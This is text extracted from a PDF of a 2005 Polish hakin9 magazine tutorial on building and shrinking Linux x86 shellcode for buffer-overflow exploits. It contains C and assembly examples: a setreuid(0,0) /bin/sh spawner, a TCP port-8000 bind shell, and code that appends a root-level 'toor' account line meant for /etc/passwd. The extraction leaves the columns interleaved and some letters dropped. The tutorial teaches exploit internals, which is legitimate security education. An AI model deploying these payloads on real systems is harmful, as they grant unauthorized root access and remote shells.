Optymalizacja-szelkodow-w-linuksie.pdf
(
1432 KB
)
Pobierz
291259160 UNPDF
Optymalizacja szelkodów
w Linuksie
Michał Piotrowski
Artykuł opublikowany w numerze 4/2005 magazynu
hakin9
. Zapraszamy do lektury całego magazynu.
Wszystkie prawa zastrzeżone. Bezpłatne kopiowanie i rozpowszechnianie artykułu dozwolone
pod warunkiem zachowania jego obecnej formy i treści.
Magazyn
hakin9
, Software-Wydawnictwo, ul. Piaskowa 3, 01-067 Warszawa
, pl@hakin9.org
Optymalizacja
szelkodów w Linuksie
Michał Piotrowski
Szelkod jest nieodłącznym
elementem każdego eksploita.
Podczas ataku zostaje
wstrzyknięty do działającego
programu i w kontekście tego
programu wykonuje zadane
operacje. Znajomość budowy
i sposobu działania kodu
powłoki, mimo że nie wymaga
nadzwyczajnych umiejętności,
nie jest jednak powszechna.
nazywanych również kodem bajtowym.
Jest jednym z najważniejszych elemen-
tów eksploitów wykorzystujących błędy typu
przepełnienie bufora (
buffer
overlow
). Podczas
ataku zostaje wstrzyknięty przez eksploita do
działającego programu i w kontekście tego pro-
gramu wykonuje operacje wskazane przez wła-
mywacza. Nazwa
szelkod
– kod powłoki, ang.
shellcode
– pochodzi od pierwszych kodów, któ-
re miały za zadanie wywołać powłokę (w syste-
mach uniksowych powłoką jest program
/bin/sh
).
Obecnie tym terminem określa się kody, które
wykonują bardzo różnorodne zadania.
Kod powłoki musi spełniać ściśle określone
warunki. Przede wszystkim nie może zawierać
bajtów zerowych (
null byte
, 0x00). Oznaczają
one koniec ciągu znaków i przerywają działa-
nie najczęściej używanych do przepełniania
buforów funkcji –
strcpy
,
strcat
,
sprintf
,
gets
i tym podobnych. Ponadto, szelkod musi być
samodzielny i niezależny od położenia w pa-
mięci, co oznacza, że nie można w nim stoso-
wać adresowania statycznego. Innymi cechami
kodu powłoki, które w pewnych sytuacjach mo-
gą być ważne, są jego wielkość i zestaw zna-
ków ASCII, z których się składa.
Sprawdźmy, jak w praktyce wygląda two-
rzenie szelkodów. Napiszemy cztery funkcjo-
nalnie różne programy, a następnie będzie-
my modyikować je tak, aby zmniejszyć ich
objętość i aby możliwe było ich wykorzysta-
nie w rzeczywistych eksploitach. Skupimy się
przy tym wyłącznie na budowaniu kodu powło-
ki – nie będziemy poruszać zagadnień związa-
nych z samymi błędami przepełnienia bufora
czy budową eksploitów jako takich.
Aby stworzyć poprawny, działający szel-
kod, należy dobrze rozumieć język asemble-
ra dla procesora, na którym ma być wykony-
wany (patrz Ramka
Rejestry i instrukcje
). My
będziemy trenować na 32-bitowych proce-
Z artykułu dowiesz się...
• jak napisać poprawny kod powłoki,
• jak go modyikować i zmniejszać.
Co powinieneś wiedzieć...
• powinieneś umieć korzystać z systemu Linux,
• powinieneś znać podstawy programowania
w C i asemblerze.
2
www.hakin9.org
hakin9 Nr 4/2005
S
zelkod
to zbiór instrukcji maszynowych,
Szelkod w Linuksie
Rejestry i instrukcje
Rejestry (patrz Tabela 1) to znajdują-
ce się w procesorze niewielkie komór-
ki pamięci, które służą do przechowy-
wania wartości liczbowych i są wyko-
rzystywane przez procesor podczas
wykonywania każdego programu.
W 32-bitowych procesorach x86 reje-
stry mają wielkość 32 bitów (4 bajtów).
Ze względu na przeznaczenie możemy
je podzielić na rejestry danych (EAX,
EBX, ECX, EDX) oraz rejestry adreso-
we (ESI, EDI, ESP, EBP, EIP).
Rejestry danych dzielą się na mniej-
sze, 16-bitowe (AX, BX, CX, DX) i 8-bi-
towe (AH, AL, BH, BL, CH, CL, DH, DL)
fragmenty – możemy z nich korzystać,
aby zmniejszyć wielkość kodu i pozbyć
się bajtów zerowych (patrz Rysunek 1).
Natomiast większość rejestrów adreso-
wych ma ściśle określone znaczenie
i nie powinno się ich używać do prze-
chowywania dowolnych danych.
Tabela 1.
Rejestry procesora x86 i ich przeznaczenie
Nazwa rejestru
Przeznaczenie
EAX, AX, AH, AL – akumu-
lator
Operacje arytmetyczne, operacje wejścia/
wyjścia i określanie wywołania systemowe-
go, które chcemy wykonać. Zawiera rów-
nież wartość zwracaną przez wywołanie
systemowe.
Używany do pośredniego adresowania pa-
mięci, przechowuje pierwszy argument wy-
wołania systemowego.
ECX, CX, CH, CL – licznik Najczęściej używany jako licznik do pę-
tli, przechowuje drugi argument wywołania
systemowego.
EDX, DX, DH, DL – rejestr
danych
Używany do przechowywania adresów
zmiennych, przechowuje trzeci argument
wywołania systemowego.
ESI – adres źródłowy, EDI
– adres docelowy
Najczęściej służą do wykonywania operacji
na długich łańcuchach danych, w tym napi-
sach i tablicach.
ESP – wskaźnik wierzchoł-
ka stosu
Zawiera adres wierzchołka stosu.
sorach x86 i systemie Linux z ją-
drem 2.4, choć wszystkie oma-
wiane przykłady kompilują się
i działają poprawnie również w syste-
mach z kernelem serii 2.6. Mamy do
wyboru dwa główne rodzaje składni
asemblera: tę stworzoną przez AT&T
oraz składnię Intela. Mimo że skład-
nia AT&T jest używana przez więk-
szość kompilatorów i programów de-
asemblujących – w tym
gcc
czy
gdb
– my będziemy korzystać ze skład-
ni Intela (jest bardziej czytelna).
Wszystkie przykłady będziemy kom-
pilować programem Netwide Assem-
bler (
nasm
) w wersji 0.98.35, dostęp-
nym w prawie każdej dystrybucji Li-
nuksa. Wykorzystamy również pro-
gramy
ndisasm
oraz
hexdump
.
Instrukcje języka asembler są ni-
czym innym jak symbolicznie zapisa-
nymi rozkazami dla procesora. Jest
Zawiera adres dna stosu. Używany do od-
woływania się do zmiennych lokalnych,
znajdujących się w aktualnej ramce stosu.
EIP – wskaźnik instrukcji Zawiera adres kolejnej instrukcji do wyko-
nania.
Tabela 2.
Najważniejsze instrukcje asemblera
Instrukcja
Opis
mov
– instrukcja przenie-
sienia
Kopiuje zawartość jednego fragmentu pamięci
do innego:
mov <cel>, <źródło>
.
push
– instrukcja odłoże-
nia na stosie
Kopiuje na stos zawartość wskazanego frag-
mentu pamięci:
push <źródło>
.
pop
– instrukcja pobrania
ze stosu
Przenosi wartość ze stosu do wskazanego
fragmentu pamięci:
pop <cel>
.
add
– instrukcja dodawa-
nia
Dodaje zawartość jednego fragmentu pamięci
do innego:
add <cel>, <źródło>
.
Odejmuje zawartość jednego fragmentu pa-
mięci od innego:
sub <cel>, <źródło>
.
xor
– różnica symetryczna Oblicza różnicę symetryczną wskazanych
fragmentów pamięci:
xor <cel>, <źródło>
.
jmp
– instrukcja skoku Zmienia wartość rejestru EIP na określony ad-
res:
jmp <adres>
.
call
– instrukcja wywo-
łania
Działa podobnie jak instrukcja
jmp
, ale przed
zmianą wartości rejestru EIP odkłada na stos
adres kolejnej instrukcji:
call <adres>
.
Umieszcza we wskazanym fragmencie pamię-
ci
<cel>
adres innego fragmentu
<źródło>
:
lea
<cel>, <źródło>
.
int
– przerwanie Przesyła określony sygnał do jądra systemu,
wywołując przerwanie o określonym numerze:
int <wartość>
.
Rysunek 1.
Budowa rejestru EAX
hakin9 Nr 4/2005
www.hakin9.org
3
EBX, BX, BH, BL – rejestr
bazowy
EBP – wskaźnik bazowy,
wskaźnik ramki
sub
– instrukcja odejmo-
wania
lea
– instrukcja załadowa-
nia adresu
Listing 1.
Plik write.c
Listing 4.
Plik bind.c
mentujemy, bezpieczniej będzie nie
modyikować pliku haseł.
Trzeci program,
shell
, jest ty-
powym kodem powłoki. Jego za-
danie to uruchomienie programu
/bin/sh
po uprzednim wykonaniu
funkcji
setreuid(0, 0)
, która przywra-
ca procesowi jego prawdziwe upraw-
nienia (ma to sens w sytuacji, gdy
atakujemy program
suid
, który ze
względów bezpieczeństwa pozby-
wa się swoich uprawnień). Program
shell
jest widoczny na Listingu 3.
Ostatni, najbardziej zaawansowa-
ny z naszych programów (o nazwie
bind
) jest pokazany na Listingu 4.
Po uruchomieniu zaczyna nasłuchi-
wać na porcie 8000 TCP i w chwi-
li, gdy odbierze połączenie przeka-
zuje komunikację do uruchomionej
powłoki. Ten mechanizm działania
jest typowy dla większości eksplo-
itów wykorzystujących podatności
w serwerach sieciowych.
Proces kompilacji wszystkich
programów i efekt ich działania
przedstawia Rysunek 2.
#include
<stdio.h>
#include
<unistd.h>
#include
<sys/socket.h>
#include
<netinet/in.h>
main
()
{
char
*
line
=
"hello, world!
\n
"
;
write
(
1
,
line
,
strlen
(
line
));
exit
(
0
);
}
int
main
()
{
char
*
name
[
2
];
int
fd1
,
fd2
;
struct
sockaddr_in
serv
;
name
[
0
]
=
"/bin/sh"
;
name
[
1
]
=
NULL
;
serv
.
sin_addr
.
s_addr
=
0
;
serv
.
sin_port
=
htons
(
8000
);
serv
.
sin_family
=
AF_INET
;
fd1
=
socket
(
AF_INET
,
SOCK_STREAM
,
0
);
bind
(
fd1
,
(
struct
sockaddr
*)&
serv
,
16
);
listen
(
fd1
,
1
);
fd2
=
accept
(
fd1
,
0
,
0
);
dup2
(
fd2
,
0
);
dup2
(
fd2
,
1
);
dup2
(
fd2
,
2
);
execve
(
name
[
0
]
,
name
,
NULL
);
}
Listing 2.
Plik add.c
#include
<stdio.h>
#include
<fcntl.h>
main
()
{
char
*
name
=
"/ile"
;
char
*
line
=
"toor:x:0:0::/:/bin/bash
\n
"
;
int
fd
;
fd
=
open
(
name
,
O_WRONLY
|
O_APPEND
);
write
(
fd
,
line
,
strlen
(
line
));
close
(
fd
);
exit
(
0
);
}
się na najważniejszych, czyli tych,
z których będziemy korzystać. Ich
opis, wraz z przykładem zastosowa-
nia, znajduje się w Tabeli 2.
Listing 3.
Plik shell.c
Przechodzimy
do asemblera
Teraz, gdy już wiemy, że nasze pro-
gramy działają poprawnie, może-
my wykonać drugi krok i przepisać je
w asemblerze. Generalnie naszym ce-
lem jest wykonanie tych samych funk-
cji systemowych, z których korzystają
programy napisane w C. Aby to zrobić
musimy jednak wiedzieć, jakie nume-
ry przyporządkowano tym funkcjom w
naszym systemie – możemy się tego
dowiedzieć zaglądając do pliku
/usr/
include/asm/unistd.h
. I tak, funkcja
write
ma numer 4,
exit
– 1,
open
– 5,
close
– 6,
setreuid
–70,
execve
–11,
a
dup2
– 63. Nieco inaczej wygląda
sytuacja z funkcjami operującymi na
gniazdach: funkcje
socket
,
bind
,
listen
i
accept
są realizowane przez jedno
wywołanie systemowe –
socketcall
– o numerze 102.
Musimy również zadbać o to,
aby te funkcje otrzymały odpowied-
nie argumenty. W przypadku pierw-
szego programu, który korzysta tylko
z
write
i
exit
, sprawa jest prosta.
Funkcja
write
przyjmuje trzy argumen-
ty. Pierwszy z nich określa deskryptor
#include
<stdio.h>
Budujemy kod powłoki
Naszym celem jest napisane czte-
rech kodów powłoki, z których
pierwszy wypisuje tekst na stan-
dardowym wyjściu, drugi doda-
je wpis do pliku, trzeci uruchamia
powłokę, a czwarty dowiązuje po-
włokę do portu TCP. Zaczniemy od
stworzenia tych programów w języ-
ku C, gdyż znacznie łatwiej będzie
przepisać gotowy program na język
asemblera niż tworzyć go od razu
w docelowej formie.
Kod źródłowy pierwszego pro-
gramu o nazwie
write
przedstawio-
no na Listingu 1. Jego jedynym prze-
znaczeniem jest wypisanie na stan-
dardowym wyjściu wiadomości prze-
chowywanej w zmiennej
line
.
Listing 2 przedstawia drugi pro-
gram –
add
. Jego zadaniem jest
otworzenie pliku
/ile
w trybie do za-
pisu (plik może być pusty, ale musi
istnieć) i dodanie do niego linii
toor:
x:0:0::/:/bin/bash
. Tak naprawdę
powinniśmy ten wpis dodać do pliku
/etc/passwd
, ale teraz, gdy ekspery-
main
()
{
char
*
name
[
2
];
name
[
0
]
=
"/bin/sh"
;
name
[
1
]
=
NULL
;
setreuid
(
0
,
0
);
execve
(
name
[
0
]
,
name
,
NULL
);
}
ich jest bardzo dużo, dzielą się mię-
dzy innymi na instrukcje:
• przeniesienia (
mov
,
push
,
pop
),
• arytmetyczne (
add
,
sub
,
inc
,
neg
,
mul
,
div
),
• logiczne (
and
,
or
,
xor
,
not
),
• sterujące (
jmp
,
call
,
int
,
ret
),
• operujące na bitach, bajtach
i łańcuchach znaków (
shl
,
shr
,
rol
,
ror
),
• wejścia/wyjścia (
in
,
out
),
• kontroli lag.
Nie będziemy tutaj omawiać wszyst-
kich dostępnych instrukcji – skupimy
4
www.hakin9.org
hakin9 Nr 4/2005
Szelkod w Linuksie
pliku, do którego będziemy pisać, dru-
gi to wskaźnik do bufora zawierające-
go dane źródłowe, a trzeci jest liczbą
określającą ile znaków chcemy zapi-
sać. Funkcja
exit
przyjmuje tylko je-
den argument, który określa status,
z jakim kończymy działanie.
tor. Pomiędzy liniami 9 a 13 oraz 16
a 18 znajdują się instrukcje przygo-
towujące i wykonujące funkcje
write
i
exit
. Prześledźmy ich działanie.
Najpierw w rejestrze EAX
umieszczamy wartość wywołania
systemowego, które chcemy wy-
konać (
write
ma numer 4), a w re-
jestrach podajemy jego argumen-
ty: EBX – deskryptor standardo-
wego wyjścia (ma numer 1), ECX
– adres początku ciągu, który chce-
my wypisać (jest przechowywany w
zmiennej
msg
), EDX – długość na-
szego ciągu (wraz ze znakiem koń-
ca wiersza wynosi 14). Następnie
wykonujemy instrukcję
int 0x80
, któ-
ra powoduje przejście w tryb kernela
i wykonanie wskazanej funkcji syste-
mowej. Podobnie wygląda sytuacja
z funkcją
exit
: najpierw ustawiamy
rejestr EAX na jej numer (1), w re-
jestrze EBX wpisujemy 0 i ponownie
przechodzimy w tryb jądra. Sposób
Listing 5.
Plik write1.asm
1
:
section
.
data
2
:
msg
db
'hello, world!'
,
0x0a
3
:
4
:
section
.
text
5
:
global
_start
6
:
_start
:
7
:
8
:
; write(1, msg, 14)
9
:
mov
eax
,
4
10
:
mov
ebx
,
1
11
:
mov
ecx
,
msg
12
:
mov
edx
,
14
13
:
int
0x80
14
:
15
:
; exit(0)
16
:
mov
eax
,
1
17
:
mov
ebx
,
0
18
:
int
0x80
Write
Odpowiednik programu
write
w po-
staci kodu źródłowego języka asem-
bler jest widoczny na Listingu 5.
W liniach 1 i 4 znajdują się dekla-
racje sekcji danych (
.data
) i ko-
du (
.text
). W linii 6 mamy domyśl-
ny punkt wejścia dla konsolida-
cji ELF, który ze względu na linker
ld
musi być symbolem globalnym
(linia 5). W linii 2 deiniujemy zmien-
ną
msg
– ciąg znaków, zadeklarowa-
nych jako bajty (dyrektywa
db
), za-
kończony znakiem końca wiersza
(
0x0a
). Linie 8 i 15 zawierają komen-
tarze i są ignorowane przez kompila-
kompilacji i efekt działania naszego
pierwszego programu napisanego
w asemblerze prezentuje Rysunek 3.
Add
Na Listingu 6 znajduje się przetłu-
maczony na asembler kod źródłowy
drugiego programu,
add
. Jest on nie-
co bardziej skomplikowany.
Na początku, w sekcji danych,
deklarujemy dwie zmienne znakowe
–
name
i
line
. Zawierają one nazwę pli-
ku do modyikacji i wiersz, który chce-
my dodać. Działanie zaczynamy od
otworzenia pliku
/ile
, umieszczając
w rejestrze EAX wartość funkcji
open
(5) i podając jej dwa parametry:
• w rejestrze EBX zapisujemy ad-
res zmiennej
name
,
• w rejestrze ECX umieszczamy
wartość 1025, która jest liczbo-
wą reprezentacją kombinacji lag
O _ WRONLY
i
O _ APPEND
.
Rysunek 2.
Kompilacja i działanie programów write, add, shell oraz bind
Po wykonaniu, funkcja
open
zwra-
ca liczbę (umieszcza ją w rejestrze
EAX), która jest numerem deskryp-
tora otwartego przez nas pliku. Bę-
dziemy jej potrzebować do wykona-
nia funkcji
write
i
close
, więc w linii 15
przenosimy ją do rejestru EBX. Dzięki
temu kolejna funkcja, którą wykonuje-
my (
write
) ma już pierwszy argument
(numer deskryptora) na właściwym
miejscu, czyli w rejestrze EBX. Na-
stępnie w rejestrze EAX zapisujemy
4, a w ECX – 24 (długość dodawane-
hakin9 Nr 4/2005
www.hakin9.org
5
Plik z chomika:
mirrella
Inne pliki z tego folderu:
100 Linux Tips And Tricks.pdf
(1217 KB)
Budowa Linuxa.zip
(1627 KB)
[linux]Zdalny-dostep-do-srodowiska-graficznego.pdf
(653 KB)
[linux]Zdalne-sterowanie-Linuksem-za-pomoca-wiiremote'a.pdf
(900 KB)
[linux]Wspolpraca-telefonow-z-systemem-linux.pdf
(538 KB)
Inne foldery tego chomika:
Pliki dostępne do 02.08.2019
Pliki dostępne do 19.04.2020
Pliki dostępne do 21.01.2024
Pliki dostępne do 25.06.2023
Pliki dostępne do 27.02.2021
Zgłoś jeśli
naruszono regulamin